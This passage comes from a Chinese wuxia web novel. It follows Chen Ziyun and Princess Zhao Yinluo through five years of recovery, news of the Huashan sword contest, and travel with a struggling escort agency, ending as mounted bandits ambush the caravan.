陈子云勉力的开口,嘴里传来的却是嘶哑。 侍女们恍恍惚惚的出了房门,赵茵萝才反应过来。 “子云师父,我这是怎么了?” “哎,这是救你的办法。我把功力传给你了,你以后要学着控制它们就好。” “不,茵萝不要这个,不要……” 赵茵萝似乎很是排斥这个结果。 “子云师父,你告诉我,我要怎么把这些功力还给你。” “傻子,功力哪里是能随便传的。要是没有黄药师的帮助,就算我想传功,耗费全身功力,最多也就能给你留下个一两成。” “不,我不管,我不要,我要还给你。” “茵萝。” 陈子云的语气变的严肃,他必须调整赵茵萝的心态,要不然他做的这些就都白费了。 “你不用如此,功力我早晚都能练回来。眼下你最重要的是要学会掌控它们,要不然就会跟刚才一样,伤人伤己。” “伤人伤己?是啊,我伤的最大的就是你,子云师父啊。呜呜……” 赵茵萝突然就趴在陈子云的身上,开始自责的哭泣起来。 “真是个小女孩啊,茵萝,你要长大了,别动不动就哭啊。” “呜呜,子云……师傅,你……知不知道……你的头发,头发全白了。” 赵茵萝瓮声瓮气,断断续续的声音传来,让陈子云一时也有些惊愕。 陈子云撩过自己的一缕头发,却是已经白如雪银千丝了。 “哈哈哈,就因为这个吗。茵萝啊,你不觉得白发也很好看吗?” 陈子云半开玩笑半认真的说着。不过他语气的喜悦却不能说是完全假的,能看到此时的赵茵萝如此的活力四射,他就知道起码这小丫头的命暂时算是无忧了。 第一百七十一章 五年 不过这下丫头的体重是不是增加了好多,怎么感觉她趴在自己身上压的自己有些气闷呢。 “茵萝,起来,别用力,你压到我了。” “啊……” 随着赵茵萝的一声惊呼,陈子云感觉自己的某根肋骨似乎已经裂开了。 …… 当陈子云满头白发的再次出现在仆人们面前时,所有人都不明所以的看着他看。 而赵茵萝却是一反以前柔弱的姿态,直接很是强硬的宣布了一条公主府的新规矩——谁也不准看驸马爷的白发。 这个要求简直是无礼至极,哪有同在一个屋檐下的人,不看到别人头发的事情。 可不管陈子云怎么劝解,赵茵萝就是死守着这一条不放。甚至还威胁,要是这些人不愿意遵守,她就让韩皇后给自己换一批愿意遵守规矩的。 看着地下那些可怜兮兮的仆从们,陈子云也只能任由这位小公主难得的一次发脾气了。 本来按照陈子云的计划,既然赵茵萝如今已经没有大碍,就应该立刻返回临安才是。 可赵茵萝却非要在这里再住上半个月,说是自己身体不好的时候,没有玩尽兴,现在好了一定要再玩一遍。 可后面那半个月的生活,却完全是掉了个个,以前是陈子云小心翼翼的陪着赵茵萝玩耍。 现在却变成了赵茵萝小心的陪着陈子云闲逛。 可怜这丫头连照顾人都不会,只能学着陈子云以前照顾她的摸样重复着来。 每次赵茵萝小心翼翼的给他擦嘴的时候,陈子云就有些受不了的夺过手绢,赶紧自己来。 ……转眼之间已是五个春秋。自从陈子云带着不但恢复健康,还变成了武林高手的赵茵萝回到了临安。 韩皇后高兴的差点就要直接收陈子云当儿子了,要不是如今他已经是自己的女婿的话。 宋宁宗也是大手一挥,直接封了个男爵的爵位给他。至于说其他的绫罗绸缎、金银珠宝这些,自然也不会少。 可这些东西多少了也就是表示个意思,多了的话又怕朝臣非议。反正是左口袋放进右口袋,宋宁宗如今就这么一个闺女。 自己送的这些还不是都进了公主府的,那有个什么意思。 所以两边的人都不怎么在意这些,赵茵萝是从来不觉得自己爹爹的那个内库里的东西就不是自己的,而陈子云则是没有兴趣。 韩侂胄可从没在这方面亏待过他,而且不管是在韩府还是在公主府,他都很少自己过手金银了。 基本上都是需要什么,吩咐管家的嬷嬷就可以了。 当然不管是因为宋宁宗知道自己的掌上明珠不会再受那些苦,也不用担心随时都要再次白发人送黑发人。 那段时间的南宋朝堂都洋溢着一种让人轻松愉快的气氛。 而韩侂胄自然是早就知道了缘由的,虽然有些心疼自己这位弟弟。可陈子云毕竟作为人夫,救护自己的妻子在他看来也是应有之义。 当天韩夫人就把家里的什么人参、鹿茸、何首乌这些不管是韩府里自己珍藏的还是韩夫人陪嫁过来的。 但凡是觉得能帮助陈子云治疗的,就都一股脑儿的搬到公主府里来了。 “嫂嫂,这里里外外也就一墙之隔,你这又是何必呢?” 陈子云当时是又温暖又头疼的。 “不说老爷与你之情,就是嫂嫂看着你这满头的白发也心疼的很。你才多大啊,就连老爷头上也不过偶尔显出几根而已。 这些个物件又算什么,但凡能让你这白发好上一根,老爷也会把临安城里的药铺全搬回来。” 韩夫人满是怜爱的看着陈子云的白发说着。 这要是别的人,一旁的赵茵萝早就赶人了。自从她下达了那个命令后,公主府里的人就没有一个敢正眼看陈子云的,就怕陈子云介意。 “我这不是病,只是消耗大了些。慢慢就会好的,这些东西我就收下,但是也别再去收什么药了,这些够我用好几年的了。” ……后面的很长一段时间,陈子云基本上算是足不出户了,最多也就是通过那个小暗门在宰相府与公主府之间往返。 他所有的时间都基本在调养自己的身体,修炼损失的内力,还有就是指导赵茵萝掌控身体中的内力。 也许是因为赵茵萝得了他的内力的关系,以前怎么教都学不会的黄昏细雨红袖刀,如今她学起来却是得心应手。 陈子云看那曼妙的身姿,在春意盎然的花间飞舞,心里也是一叹,果然,这样美丽的刀法到底还是更合适女性来使。 苏梦枕学了红袖刀,配合自己的特性创出了更合适自己的黄昏细雨红袖刀。可那也是因为他本来就有些阴郁的气质,心中的细腻也不是一般男子可比。 而赵茵萝学了这刀法,却变得少了几分黄昏细雨的凄冷,反而有几分朝霞初升红袖翩然的灵动。 这想必更加接近原来的红袖刀了吧。 “子云师傅,你看我学的这黄昏细雨红袖刀如何,可有你几分风采?” 赵茵萝刚演练完刀法,一个跳跃就从花丛间来到了陈子云的身边。 陈子云摇摇头说道:“这刀法怎么能是黄昏细雨红袖刀呢!” “子云师父,你是说我练错了,可我感觉很顺畅啊。” 赵茵萝有些紧张的问道。 “不是错,而是一样的刀法,百种人练都不会尽皆相同。这黄昏细雨红袖刀,脱胎于红袖刀,如今你却是溯本追源了。 这刀法让你使来,如蝶舞花丛,鹤翔九霄,你自己取个名字吧。” 陈子云道。 “真的吗。那我不要什么蝶舞,鹤唳的,都太艳俗了。茵萝还是更喜欢白云出岫的清秀缥缈。那我这刀法以后就叫云袖刀好了。” 赵茵萝希翼的看着陈子云,好像怕他不同意似的。 “真不知道你这个小脑袋瓜子里都装着些什么,罢了,罢了。你喜欢就这么叫吧。” 陈子云自然不会纠结于这些。 可他却不知道,这少女的小心思,哪里是在这刀法的名字上。云者子云也,袖者茵萝也,而那探究的眼神,就是在问她能不能把两人的名字放在一起啊。 名字在一起,人自然也就更要永远在一起了。 第一百七十二章 华山论剑的消息 ……五年,整整五年的时间,说长不长,说短,却也是不短了。 长到能让陈子云稍稍练回一些内力,也长到赵茵萝在红袖刀,不,是云袖刀的修为上已经不输于自己。 这些年,因为陈子云自身武功全废,还要管理刚刚立起骨架的子虚,便觉得有些力不从心。 而赵茵萝不知道是出于以前的好奇,还是觉得有必要替陈子云背起这项责任。 在这几年来,子虚的大部分事情都是她在帮着处理。当然一开始自然是陈子云带着她熟悉,也是因为知道赵茵萝已经不是那个手无缚鸡之力的小公主,以她如今的修为放到江湖上也是难得一见的高手了。 陈子云这几年自然也是把修复自身的损伤作为第一,这些无关紧要的俗事有赵茵萝接手自然是再好不过。 而且,相信宋宁宗也希望看到这一幕的发生。相比于终究只是外人的女婿,他自然也更相信自己从小疼到大的女儿。 对于子虚这个已经慢慢变得大的让他也有些心惊的半官方半江湖的组织,怎么可能没有忌惮的意思。 要是依旧陈子云一人独大,说不得他就要收回成命了。 现在赵茵萝在子虚里已经渐渐有了“地后”之称,基本算是与陈子云这个“天之主”并驾齐驱,这才让他按下了心头浮起的心思。 “子云师傅,你说的那几个人最近这段时间确实都在向着中原移动。是不是你说的那所谓的华山论剑就要召开了?“ 赵茵萝经过这五年的蜕变,也不再是那个看着青涩普通的小公主。如今已经年过二十的她,一声贵气在这些年为子虚处理各种事宜的磨练中变成了真正的手握权柄的上位者的气息。 如今一般的仆人看到她简直比见到宫中的那位韩皇后还有更加的敬畏。 不过千变万变,赵茵萝对于陈子云的态度似乎依旧没什么变化。现在的她还是习惯的叫子云师父,哪怕韩皇后的侧面提醒,宋宁宗的直接呵斥,都不能改变她这个微不足道的称谓。 就是连陈子云都劝说他,没必要的,称呼也就是称呼而已。这几年的相处下来,陈子云也不是真的铁石心肠,就算赵茵萝称呼他相公也好,夫君也好,对他来说都已经可以坦言接受了。 只是这小姑娘看着言听计从的,可一旦执拗起来,简直是几头牛都拉不回来。 “子云师傅在茵萝心里,永远就是子云师傅,不管是师傅也好,相公也好,都不会改变茵萝的想法。” 赵茵萝当时就是这么回答的。 “参见天之主,地后。” 裴靖,也就是现在子虚里临安负责玄部的接头人恭敬的问候道。 作为陈子云第一个收下的手下,裴靖虽然并没有什么出色的能力,但是作为一个临安土生土长的地头蛇,收集江湖情报是没有问题的。 而为了考虑到身份的保密性,让他作为传达指令的咽喉,也是陈子云最佳的选择。 如此,不管是他还是赵茵萝都不必将真实身份暴露在那些招揽来的江湖人物眼中,能省去不少的麻烦。 而裴靖这几年来,也算得上是勤勤恳恳。 虽然少不了借势生利的勾当,但好在他还知道留有底线,清楚陈子云能放着他敛财,却绝对不会允许他害命。 毕竟人无完人,陈子云也就凑合着用着,全当是全了当时收下他的那份情意。 “什么事?” 陈子云问道。 “有人在江湖上放出话来,邀请您去参加华山论剑。” 裴靖答道。 “哦?” 陈子云有些玩味的摸了摸自己的下巴,接着问道。 “是请我,还是请子虚之主?” “是……子虚主人。” 裴靖有些奇怪的答道,心想,你不就是子虚之主吗?随即他好像想到了什么,心头不由得狂跳了几下,下意识的眼角朝着赵茵萝身上飘,可立马他就收住了。 不论对方是地后还是公主,都不是他这样的货色可以直视的。 这些年来,他虽然是陈子云嫡亲手下,可地后的威名早就不在天主之下。 子虚里那些不明白天主跟地后真实身份的人,还自以为是的分成了两派,分别支持他们认为适合领导子虚的人物。 支持天主的,自然是认为是天主开创了子虚,是真正的正统。而支持地后的,则是认为子虚之主当有德者居之,天主长年不露面,不是合格的掌控者。 当时裴靖听到这样的话不由得想笑,他们这些人如何知道,天主地后其实是一对真正的夫妻,还是这天下第二尊贵的夫妇。 怎么可能为了他们这些江湖草莽的意见而分列,这所谓的子虚也不过是这夫妻两手中的玩物罢了。 “嘻嘻,子虚主人,那说的是你还是我呢?” 赵茵萝的巧笑嫣然的发言,直接把裴靖的心都给吓出来了。 难道这位地后,天下最金贵的公主,真要跟自己的驸马抢这个? “好了,我知道了,裴靖,你先回去吧。” 陈子云开口结束了裴靖的胡思乱想。 “是,属下告退。” 裴靖恭敬的离开了小院,等他走到门口的时候,又习惯性的回回头,回味着这份他独有的尊荣。 子虚内部,除了他裴靖没有人知道这座公主府就是子虚真正的核心。 “子云师父,你为什么要打断我,不让我试试这位如今已经娶了三房,正准备娶第四个的家伙?” 赵茵萝似乎对裴靖很是不满。 “哈哈哈,裴靖这个人本来就是小吏出身。他们这样的人要是不够贪心,不够虚荣,反而正直仁义,那就不会去当小吏了。 你又何必抓着这些小事不放,就随它去吧,只要不犯原则性的错误,管他做什么?” 陈子云哈哈一笑,说道。 “哼,凭什么男人就可以三妻四妾。子云师傅,你不是说过,应该男女平等,一夫一妻的吗?” 赵茵萝倔强的回道。 “你呀你呀,缠着我问,我说了,你听了也就是了。可一切的果,皆有其因。不是说一夫一妻不好,但是在如今的情况下,确实是不合适的。 你要是有空去看看宫里那份备份的人丁簿子,就知道为什么这天下的男子会三妻四妾了。” 陈子云也是后悔啊,当初不应该被赵茵萝缠着,就说了些超越这个时代背景的知识。 第一百七十三章 西行 “那你是不是也想着这般三妻四妾,坐享齐人之福?” 赵茵萝连子云师傅都不叫了,直接称陈子云为你。 “你啊,明明自己史书都翻遍了,还问这么幼稚的问题。你哪里见过哪个朝代的驸马爷是能纳妾的?” 陈子云轻轻敲了敲赵茵萝的额头。 “哼,那要是你不是驸马呢。嗯,我是说,如果是你娶的我,诶,也不对……” 这下赵茵萝的小孩子脾气又犯了。 “好了,先不说这个。关于华山论剑的事情,你打算怎么处理?去不去华山参合参合?” 陈子云不动声色的引开了话题。 …… “可惜了,如此神功竟然与我等无缘了。” “张兄何必气馁,那终南山全真教的重阳真人不是说了吗。到时候华山论剑胜者得经,张兄如此本事,为何不去试试?” “何老弟,你就别笑话你老哥我了。那重阳真人是什么人物,这天下哪里能有人能胜得过他的,估计也就那位豪情盖天的丐帮新任帮主才能和他老人家过几招。” “张大哥,那重阳真人竟然如此厉害?不满大哥你说,这丐帮帮主洪七,小弟在北地的时候就听的快烂耳朵了。 这样的英雄人物,也比不过重阳真人?” “何老弟,你是北边来的,不知道这重阳真人在陕西一代是何等的威望。不说是他老人家,就算是全真教的二代弟子也不是我们能够望其项背的。” “真如此,老弟我倒是要去趟终南山了。” “去终南山,难道老弟不信哥哥我的话?” “老哥何出此言,老弟是想如今全真教如此大的声势,想来也是招兵买马的时候。老弟我手上功夫自然是不如老哥你的,但是挑水砍柴总还能做的。 不知道有没有机会入重阳真人的眼,入这全真教学些真功夫。” “哈哈哈,老弟原来是如此想,倒是好打算。” 那张大哥脸上笑着,可心里却不由得有些嫉妒起面前这个路上相逢的年轻人了,要是自己也是他这个年纪,说不定也想着去终南山碰碰运气。 要是真的被王重阳收下,那不说能学到重阳真人的上乘功夫,那本被传的神乎其神的九阴真经是不是也能有机会一窥究竟。 “张大哥,张大哥,喝酒啊,怎么出神了。” 何老弟将酒杯与张大哥一撞,满脸笑意的敬酒。 他们两人的这番对话却也没有故意压低声音,在这家路边酒肆里坐着的客人基本都听了几句。 不过这也不是什么新鲜事,但凡在川陕这一带江湖上混的哪个不知道终南山全真教王重阳的。尤其是九阴真经的事情传开之后,说句如日中天也不为过。 至于华山论剑吗,那也是现在最火热的江湖谈资,要是跟别人喝酒的时候,说不知道这件事,那你就只能负责买单了。 “子云师傅,这位重阳真人可真是好气魄啊。明明已经到手的宝贝,却还要拿出来与人比剑论输赢,决定最终归属。” 跟陈子云一起便服出行的赵茵萝淡淡的问道。 其实对于王重阳,陈子云早就跟她说过不少,他曾经跟王重阳的论道以及初步用来治疗她的先天功。 赵茵萝在接手子虚的时候,对于这个位于金国的大派也是很有兴趣的。所以对全真教也是格外的关照,至于有没有派人潜入,那就只有她自己知道了。 “子云师傅,这位重阳真人,在你眼中到底是怎个人物?” “一位爱国的志士,博学的道人,绝世的高手。上下百年难得一见的一代宗师。” 陈子云的评价不可谓不高,不过知道王重阳一生丰富经历的人想必都不会觉得这个评价是名不副实的。 “可这也掩盖不了,王重阳身为一个宋人,如今却与金国的朝廷不清不楚的事实。” 赵茵萝神情严肃的说道。 陈子云有些默然。他作为来自后世的人,对于这个时代的国家争端,在他眼里更像是民族之间的内斗,算不上是国际战争。 虽然南宋还是被历史上作为正统的皇朝,可不管是金国的女贞,还是西辽的党项,就算是往后的元朝的蒙古,到了最后还不都成了一家。 自然,因为他如今作为宋宁宗唯一的女婿,南宋最尊贵的驸马,屁股既然坐在了这个位置上,脑子里难免要偏向南宋一些。 可也正是因为这样,他才更加的能明白为什么王重阳一个抗金出身的豪杰,如今却不得不与金国虚与委蛇。 王重阳心里估计比小公主还更加憎恨金国,毕竟他是眼看着金国蹂躏自己的祖国的,而小公主当时恐怕还没有出生呢。 可不是他不想抗争,而是靠他一个江湖人物,怎么可能挡得住金国当时士气正宏的万千铁骑。 而且当时的宋朝又是那么的窝囊,哪个沦陷区的宋人不对说是南迁,实为难逃的大宋朝廷心怀怨恨与不满。 王重阳更是爱至深恨之切,才会依然决然的选择出家做道士。 估计他当时的想法也就是隐居避世,学不来伯夷叔齐不食周粟,却也想必是学他们两位躲在自己的首阳山里吧。 可一个有爱国情怀的人,尤其还是一个有本事的爱国人士。 见不得国家凋敝,也见不得黎明疾苦。 所以当他在终南山隐居的时候,发现山下的百姓还是在受苦受难。那种与生俱来的悲悯之心,让他无法对这些疾苦视而不见。 所以从收下的第一个弟子开始,全真教就不得不走上了一条救苦救难,却又要逢迎金国的道路。 要么呢,熟视无睹苍生疾苦,要么呢,就背负着勾结金人的骂名踽踽独行。 好在江湖上的道义,比儒林中的谩骂终究是少了几分。以他冠绝当世的武学修为,终于是让全真教以江湖门派的姿态在川陕之间立足。 可其中耗费的精神心力,恐怕也就王重阳自己才知道吧。要不然以修炼先天功这样道家极致的养生功法的他,又如何会在那般年纪就去世。 第一百七十四章 兴元镖局 “茵萝,这些年来,你确实成长了不少,但是对于这些是是非非,以你的年纪去论断还是有些不妥。 对于一个人,尤其是王重阳这种百年难得一见的人物,你要先抱着起码的尊重。 至于他的一些行为是不是合乎你心中的道德观念,起码等你见到了真人,与之相处之后再做定论吧。” 陈子云这自然是老成之言,可赵茵萝终究已经不是那个对他唯命是从的小女孩。她已经有自己的思考,自然不会因为他的一句话就改变关于王重阳的看法。 “既然子云师傅你如此褒奖这位重阳真人,那我们就加快脚步早日上华山,先见上一见才是。” 赵茵萝道。 “不急,见必然是要见的,可以你现在的偏见,就算见到了,恐怕也是着急的找王重阳的漏缺,不会真的冷静的去评价他。 这江湖很大,我先带你逛逛吧。你不是一直想着亲身游历一番,而不是只看着从各地传来的情报来揣测这个江湖吗。” 陈子云道。 “那奴家一切就听官人安排便是了。” 赵茵萝做了一个一般女子对自己丈夫的服从姿态。 这让陈子云有些尴尬的摸摸鼻子。他们这一路本来就是装作一对夫妻,可笑的是他们本来就是一对,只是与一般的夫妻大为不同罢了。 可其中的奥妙,也足够让陈子云这个做真丈夫却又是假丈夫的,尴尬不已。 赵茵萝似乎达成了她的目的,妙目流转的瞥了陈子云一眼,眼中全是得意。 …… 第二天,陈子云领着赵茵萝来到了一个不大不小的门户面前,两根黑红相间的三角旗帜插在两侧。 中间则是“兴元镖局”的牌匾。 赵茵萝虽然不知道陈子云为什么要来这里,但是也没有直接发问,而是仔细的观察着。 因为就如陈子云昨天说的,她对于江湖的了解终究还是停留在那些由子虚每天汇报上来的资料上。 而不知为何,这趟出来,她就是不想再什么都问陈子云,而是有点急切的想证明,就算没有他陈子云,自己也能驰骋江湖。 “两位有何贵干,是要托镖吗?” 一个年纪轻轻的男子从门内看到了陈子云两人就迎了出来。 本来这不是他的活计,可如今兴元镖局好不容易接了一个大镖,就是平时负责看门的师弟,都进去帮忙了。他自己也是刚好出来方便,才看到陈子云他们的。 “这位如何称呼,可是这兴元镖局的镖头?” 陈子云客气的问道。 “先生哪里的话,小人姓刘,只是一个趟子手,可当不得镖头的称呼。如果两位是想托镖,我可以帮你们引荐我们的武总镖头。” 青年虽然嘴上说着不敢,但明显对陈子云高看很是有好感。 赵茵萝则是在一旁撇嘴,她明显对于这样的小人物看不上眼。 以她此时的武功,就算是这青年口中的所谓的总镖头,估计也不是她的三招之敌。她自然也就不会把这个一眼看去就没几个人的小镖局放在眼里。 只是因为来之前答应过陈子云,今天要听他的安排,好让她更好的认识什么是真正的江湖。 “刘镖头,我与拙荆本来是打算北上投奔亲戚的,可想到如今这世道不太平。我们就商量着找个走熟路的镖局,最好是能搭了一程。 我们两人虽然也有些小积蓄,但是若要全部拿出来请贵局,确实是难舍的很。就是不知道,刘镖头能不能行个方便,要是刚好有北上的镖,让我们夫妇二人也跟着。” 陈子云说的很是谦卑。 “这……” 刘姓青年虽然被陈子云的这几声镖头喊的很是舒服,但也知道镖局带人不带人,不是他一个趟子手能决定的,所以讷讷不言。 “刘镖头放心,我们夫妻两也随家里的长辈练过几天的拳脚,定然不会给贵镖局添麻烦的,只是想着人多好壮胆。 这件事情就麻烦刘镖头了,一点小心意,还请不要见怪。” 陈子云说着就用袖子掩住手掌,将里面合起来不过一两的碎银子塞到了刘姓青年的手中。 “诶诶,你这是,这是……” 刘姓青年有些推脱,可随着陈子云的突然的松手,他也就本能的接住了那些碎银子。 “那,那这样,你们两位先等等,我去找我师傅。等着啊……” 刘姓青年急匆匆的就往院子里面跑。在跑的时候,陈子云分明见到,他将几钱大的银子给藏进了胸口,那些小的还捏在手里。 “为何要这么麻烦,如果我们要跟着他们走,直接找他们总镖头就是了,几两银子的事情。” 赵茵萝显然是不明白为什么陈子云会这样做。 “呵呵,别急。还记得答应我的吗,你这一路只负责听和看,至于怎么做就让我来安排。” 陈子云笑着道。 赵茵萝还想理论,可这时陈子云却做出了噤声的手势,原来是那个刘姓青年又回来了,而且后面还跟着一个看上去年纪不小的男人。 “两位,这位是我的师父,孙镖头,也是这家兴元镖局的元老。还未请教两位怎么称呼?” 刘姓青年问道。 “我姓陈,这位是我夫人。见过孙镖头,还请孙镖头多多帮忙,实在也是囊中羞涩请不起贵镖局专门行镖护送,只能想着凑个伙。” 陈子云抱抱拳,显示出几分浅显的江湖手势。 “陈先生,陈夫人,按照规矩,镖局最忌讳就是收留与镖无关的人。你们两位这般做,却是让老夫有些为难啊。” 孙镖头明显就是那种熟练事故的老江湖,面色郑重的说着,好似他这趟跟着自己徒弟出来,就是来拒绝陈子云他们的。 “孙镖头,在下也是知道一些规矩的。但是规矩不外乎人情,您老就看在我们夫妇无依无靠的份上,出手帮一把。 当然,在下也绝不会让孙镖头白白费力气,这是我们夫妇仅存的一点积蓄,总共也就五辆银子。 剩下一两,作为贴身备用的钱粮。剩下的四两,全凭孙镖头安排,只求能让我夫妻二人,搭上一路的顺风车。 我们夫妻人,自然是对孙镖头感激不尽。” 陈子云这话说的很是诚恳。 第一百七十五章 搭车 “师傅,我看陈先生两人也是安分人家。您就大开慈悲的收下吧,就当是日行一善了。“ 刘姓青年,此时也开口帮衬着,陈子云立刻投去感激的目光。 “黄口小儿,你知道什么。虽说老夫是与老镖头一起开创的这兴元镖局,可如今当家的终究是镇元。 这事不问过他,老夫如何能擅自做主。两位稍等,先等我去问问总镖头再做决定。” 孙镖头神色严厉的朝着刘姓青年喝道,可随即面对陈子云他们时确实客气的很。 赵茵萝看着两位唱了一出红白脸又回去的师徒,满脸的不屑。 “这些手段也拿出来现眼,实在是恶心人。” 赵茵萝不说遍读史书对这些从官场流到民间的尔虞我诈很是眼熟,就是那偶尔从宋宁宗嘴里听到了抱怨朝堂上大臣本的虚与委蛇的手段,也不是这对师徒能比的。 “不必如此,这也不过是他们的生存手段罢了。要是他们不这样表现一番,怎么好意思收下我们手中的银子。 又怎么能让我们一路上乖乖的听话,不因为觉得自己花了钱,就对着镖师指手画脚,误了事情。 这样的初步竖立一定的威信,对于这个镖队的管理还是有些帮助的。要是真碰上这样的人搭便车,也能在往后的同行中剩下不少的麻烦。” “哼,自以为是的小聪明,不过是取祸之道。要是我们真的有歹意,难道他们这趟镖还能好的了?” 赵茵萝明显还是看不上这对师徒这样的小心思。 “可别小看那位孙镖头,估计他就是专门被派来看人相的。不管我们是真的来搭便车的,还是来劫镖的。 此刻他们估计正在跟真正的当家人商量,要怎么安排我们呢。” “怀疑我们是劫镖的,还敢让我们跟着?” 赵茵萝皱着眉头问道,随即似乎自己就想明白了原委。 “他们的是想把我们放在眼皮子底下看着,化暗箭为明枪。” 陈子云笑着点点头。 “所以这趟镖,我们是跟定了。可到时候是这个初入江湖的小年轻跟着我们,还是那个阅人无数的孙镖头,就知道人家是把我们当一般旅人,还是过路劫匪了。” …… 陈子云跟赵茵萝跟着兴元镖局的队伍已经三天了,这个不过由十几个镖师跟趟子手组成的队伍,却已经囊括了兴元镖局的所有人。 从孙镖头这样的老师傅,到刘青年这般的小菜鸟。而那位骑着唯一一匹大马,遥遥走在队伍前面的大汉,就是兴元镖局的总镖头——武镇元。 也就是上一代开创了兴元镖局的前总镖头武兴元的儿子。 据说这位开创了兴元镖局的老镖头是在走镖的时候,突发疾病死在了路上的。 武镇元作为老镖头的唯一儿子,自然而然就接过了镖局的生意。 但是镖局这门生意不好做啊,尤其是这个镖局还匆匆换了总镖头。 都说前任总镖头是得病死的,可一个身手不俗的江湖人却无缘无故突然的暴毙而亡,这不由得不让人心生疑窦。 而兴元镖局的那些明里暗里的竞争对手们,自然是该挖人的挖人,该抹黑的抹黑。 说这前任总镖头不是病死的,而是被劫道的给杀死的。 虽然没有什么证据证明,可一旦一个以保镖为业的镖局惹上了这种口水官司,如何还能够解释的清楚。 所以当时最少也有几十号人的兴元镖局就成了如今这般大猫小猫三两只了。 而之所以这次的走镖,将所有人都带上,这也可以算是兴元镖局的最后一搏了。 如果这趟镖能顺利,那兴元镖局就有翻身的机会,要是这趟镖搞砸了,那么兴元镖局也就没有存在的必要了。 一个彻底失去了信用的镖局是无法在江湖上立足的。 “怠慢两位了,本来两位虽然是搭客,可照道理也应该被护在队伍中间的。如今却要跟着我这个老头子守在队尾,实在是过意不去啊。” 孙镖头已经不知道是多少次旧话重提了。 不过陈子云跟赵茵萝都明白对方的意思,无非就是借机开口。一来是希望能在言语之间找到陈子云他们的漏洞,搞清楚两人真正的底细。 二来也是防备他们两人在路途中给不知道存不存在的同伙留下什么暗号。 赵茵萝几乎没理会过这位孙镖头,因为第一天启程的时候,就被告知要跟这个老家伙走在队尾。 她就知道又被陈子云说中了,他们被当时来踩盘子的劫匪了。虽然她是来经历江湖的,可作为一个出身最为高贵的公主,却被认作是毛贼,她如何能没有意见。 要不是陈子云暗中警告,说不得这小老头就要被她捉弄了。虽然不至于怎么着他,但让他夜不安寝,食不下咽还是可以的。 “孙镖头客气了,能跟着您这样经验丰富的镖师,是我们求之不得的。有您在身边,就算是遇到……诶……失言,在下失言了。” 陈子云故意像是说错了话似的连连道歉。看着孙镖头已经挑起的眉头,暗想总算是按下了对方还想说话的兴头。 像孙镖头这样的老走镖,最是封建迷信,每次出门前都必须拜齐各路神仙。这路上也绝不能说半句不得体的话,尤其是像劫匪啊,强盗,被抢啊,这种忌讳的话更是半个字都听不得。 要不是看在陈子云他们明面上还是主顾,要是换做他手下的徒弟蹦出半个字,肯定是直接一耳刮子就扇过去了。 等回去,估计还要被罚个看门守院三个月。 孙镖头气呼呼的朝前快走了两步,将陈子云两人落在身后。 陈子云则是对着赵茵萝眨眨眼,对方也配合着暗暗伸出一个大拇指。 这是陈子云闲来无聊的时候教她的,还有剪刀手那样类似的手势,作为两个人之间最为简单的交流暗号。 当然他也是打发时间跟闹着玩比真正被当做暗号交流要多的多。 总之终于是把这个负责盯梢的孙镖头给气走了,他们两也可以不用再对着那张终究是有些碍眼的老脸了。 第一百七十六章 山贼来袭 可还没等他们得意,走在前面的孙镖头突然像是察觉到了什么,一个健步就往队伍的排头赶去。 “咦,子云师傅,这老家伙是真的被你气着了吗,跑这么快。” 赵茵萝也很是好奇。 “恐怕是终于发现他们被盯梢了吧。” 陈子云神色自然的瞥了一眼远处一侧的山头。 “就他,以他的水准要发现对面山上的人,恐怕是有力未逮吧。” 赵茵萝满脸的不信。 那些从他们进了这山沟就一直盯着这只镖队的暗哨,自然是瞒不过他们两人的,可这兴元镖局里可没有他们这个层次的高手。 “恐怕这位孙镖头不是自己真的看到了,而是靠着多年的走镖经验,下意识的察觉到了不对劲。” 陈子云道。 “就凭这虚无缥缈的直觉,那这年轻的兴元镖局总镖头会信他?” 赵茵萝显然对这种近似玄学的东西很是不认可。 “看着不就知道了。” 陈子云本来就是带着赵茵萝来长见识的,自然不着急,静待事情发展。 队伍果然还是停下了,没有了车辆行进的噪音,众人都可以清晰的听到孙镖头似乎与武镇元总镖头起了争执。 最后的结果就是以武镇元的口吻下达了指令,临近中午了,众人先埋锅造饭。 不过陈子云发现,还是有两个人被派了出去,那样子明显不是去附近水源打水的,倒是看着像是去打探消息的。 看来那位孙镖头是真的起疑了,而且武镇元虽然有些抱怨,但终究还是听信了孙镖头的话,怕人去四周侦查。 一开始众人倒是没怎么在意,毕竟这样的事情,一路上也是正常不过的。 可等众人都吃好了午饭,还没发现那两个被派出去的趟子手回来,就基本都意识到出事情了。 那个总镖头武镇元似乎也拿起了兵器,看样子就要带着人进山去搜寻他刚才派出去的人。 却被孙镖头直接拦下了,还一个劲的催促着队伍赶紧离开这里。 “哼,这老头倒是还算有些见识。知道我在明敌在暗,不可再分散。要是这个姓武的真的进山找人,估计这趟镖就彻底完了。” 赵茵萝这次倒是没有再编排孙镖头,反而赞许他的安排。 队伍开始跑起来了,孙镖头也没有回到队尾来。而是一个劲的跟着武镇元,不知道是想护卫这位总镖头,还是想靠这位总镖头保护他。 “这下不怕我们是盗匪的暗子了?” 赵茵萝一边跟着队伍跑,一边还有空闲打趣的说着。毕竟这样的前进速度,在她眼里终究是不费什么力气的。 如此众人推着镖车可劲的跑了足足小半个时辰,眼看着就要跑出这段山路到大路上了。 而后面那些跟了许久的马蹄声也突然的加速,开始靠近。 “来了。” 陈子云小声的提醒着赵茵萝,其实他们两人早就发现,后面这些远远的吊着这支队伍的马蹄声了。 只是一开始猜不到这些人打算什么时候动手,看来对方就是在等着兴元镖局的这些人跑的没了力气才开始真正的行动。 当马蹄声声渐渐的靠近,近到整支队伍都能清晰的听到。所有人都是心里发凉,紧接着立刻都抽出兵器,自觉的围在镖车的四周。 因为所有人都知道,带着镖车的他们是不可能跑得过马匹的。 众人的行动倒是还算得上队容整齐,动作敏捷。 可惜,他们如今都是气喘吁吁的摸样,和以逸待劳的马队劫匪比起来终究是在气势上输了一筹。 骑马而来的绿林强盗,人其实不多,也就十几骑。但是看他们个个都膀大腰圆,坐下马匹也是算得上精良。 这两只队伍一相比较,就好比正规军遇上了民兵队,两方一看就知道不在同一个级别上。 陈子云带着赵茵萝躲过了一个马匪胡乱挥舞来的马鞭,乖巧的躲进了镖车的后面。 马匪分成两队,一前一后将整个队伍围在中间。 其中一个在这大冷天也袒露着胸膛的莽汉在经过镖车的时候,一脚踢飞了一个看护镖车的趟子手,一手又把插在上面的镖旗个拔了下来。 “哈哈,怎么又是这个旗子,老子不是刚劫过吗?” 大汉那双铜铃一般的眼睛不用瞪也大的吓人。 “大哥,上次劫的是个老头,这次当家的好像是个年轻,却是有几分相似。” 一个紧跟着的人在旁边说道。 